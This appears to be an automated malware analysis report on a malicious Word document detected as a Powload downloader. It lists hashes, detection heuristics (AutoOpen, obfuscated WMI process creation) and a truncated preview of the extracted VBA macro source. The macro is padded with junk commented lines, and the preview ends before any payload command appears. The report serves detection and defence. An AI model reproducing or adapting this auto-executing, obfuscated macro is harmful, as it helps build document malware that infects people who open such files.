Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 62a855e0227babfb…

MALICIOUS

Office (OLE)

146.5 KB Created: 2019-05-03 21:55:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: a0bfe123a95a89fa695d3b67421bda9e SHA-1: 23b983650d0e68215e0c93e2f5b47026d3c59cc4 SHA-256: 62a855e0227babfb4bc434e97e7da15ecbef799c1f9914ae5eb92fa8161d8d6d
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen function, indicating immediate execution upon opening. Critical heuristics indicate the use of WMI (Win32_Process.Create) via obfuscated API calls (reassembled 'winmgmts') to launch a process, a common technique for downloading and executing further malicious code. ClamAV detection as 'Doc.Downloader.Powload' further supports this. The VBA script itself is heavily obfuscated, but the WMI process creation is a clear indicator of a downloader or initial execution stage.

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6961315-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6961315-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8759 bytes
SHA-256: ae073a3e545bef0b66e6cc3e5666f5c83a783a941b5cb27f2cb0955feaf44855
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "d712__"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "N8_64592"
Attribute VB_Base = "0{12908BA0-D18C-4898-BC1C-ED36147FB20A}{84D3D19F-7BE2-428C-82CF-47FB5FC80F99}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Z_89869"

Attribute VB_Name = "T5613799"

Attribute VB_Name = "Q11008__"
Attribute VB_Base = "0{23B35B63-1B32-4B96-B812-CFA772A5684D}{0347CBD8-4399-40BA-BFD9-084AD34AE0BF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "q_621608"
Function i18_515(v0186062)
   With u0__74
'.w52303 = (Log(P350825_) + 375796158 * m3441_6)
'.V573_8 = (Log(D0853_4) + 988937571 * O574468)
'.h2134764 = (Log(J_14006) + 242948571 * O_49633)
'.I26092 = (Log(j5998652) + 533639084 * i59366)
End With
   With I1135_58
'.c_51457 = (Log(V22708_) + 906257309 * z8570867)
'.o341_35 = (Log(T594529) + 613823909 * m264979)
'.Z490030 = (Log(G77487_5) + 239834350 * V110__)
'.t65221 = (Log(i70270_6) + 42914588 * b_45461)
End With
   With R915_386
'.m9141748 = (Log(A904162_) + 198728396 * G61492)
'.z843901 = (Log(r06309) + 994052382 * K90_99)
'.j41_3583 = (Log(k615_4) + 50717053 * N948135)
'.b1079138 = (Log(d59_28) + 295795554 * p07085)
End With
Set i18_515 = CVar(v0186062)
   With C905_98
'.B841971 = (Log(B32_89) + 904751265 * k67__64)
'.z80096 = (Log(F88506) + 180956147 * X56457)
'.Y292898 = (Log(C442683) + 326657343 * B30_54)
'.z_071_ = (Log(S136_1) + 99200375 * s31_94_)
End With
   With R8259098
'.M3808186 = (Log(j758727) + 654799691 * i456_3)
'.n71471 = (Log(a997692) + 368711738 * W63463)
'.O002_665 = (Log(Z415_2) + 589736751 * w80312_9)
'.U2047907 = (Log(N211101_) + 35973422 * n84_45)
End With
   With C8655_
'.E_169618 = (Log(o0_423) + 3054838 * v15406)
'.z3699348 = (Log(D_83541) + 786799010 * R6_9558)
'.h2178158 = (Log(i7877_) + 243122800 * f131075)
'.p4465_ = (Log(z4_3_86) + 763868307 * k_492114)
End With
End Function
Sub autoopen()
On Error Resume Next
   With D48203
'.p467330 = (Log(i232928) + 787053149 * i6320828)
'.f_530669 = (Log(c_37379) + 121653556 * i079727)
'.t168207 = (Log(O38087) + 321988586 * j03014)
'.n5778_4 = (Log(S13288) + 830272381 * J_8216__)
End With
   With w_32923
'.u_11992 = (Log(Z_2002) + 328916814 * q63849)
'.v3_8050_ = (Log(w85786) + 245699092 * Z469406)
'.V274300_ = (Log(f73___5) + 375788776 * s96343)
'.T794436 = (Log(h579890) + 530463920 * V60069)
End With
   With k5__457
'.X88187_ = (Log(C548976) + 319704041 * c_1_45)
'.o29_78_1 = (Log(u7251_) + 122103728 * j_750611)
'.l57403_ = (Log(r89904) + 415989933 * F0101798)
'.r5683719 = (Log(K323_5) + 172976327 * l16110)
End With
Call O435__4
   With A731309
'.i97765_ = (Log(z93079) + 692635103 * d636572)
'.G948168 = (Log(c30021) + 296634778 * M63643)
'.S434166 = (Log(U9389266) + 137189961 * j43336_)
'.f51872 = (Log(u6841486) + 882633697 * T813659)
End With
   With G67_63
'.n52007 = (Log(S46500) + 647346944 * D90_1066)
'.k22818 = (Log(f16871) + 626098314 * U327_831)
'.S867535_ = (Log(h59491) + 836145460 * L042_23)
'.o6079_2 = (Log(U25317) + 659707532 * X9900981)
End With
   With d628937
'.P4__4_43 = (Log(B756447) + 75783130 * R_236_)
'.I820977 = (Log(Y62_1316) + 767779098 * F55_8984)
'.Y5881462 = (Log(v8627634) + 664522384 * k5569433)
'.N61_2631 = (Log(S_9_503) + 308162497 * T8119_3)
End With
End Sub

Attribute VB_Name = "Q_908362"
Function O435__4()
On Error Resume Next
   With E3_22029
'.F430835 = (Log(G71536) + 157230482 * Y_0_000)
'.n0_3298 = (Log(M62__159) + 558350
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.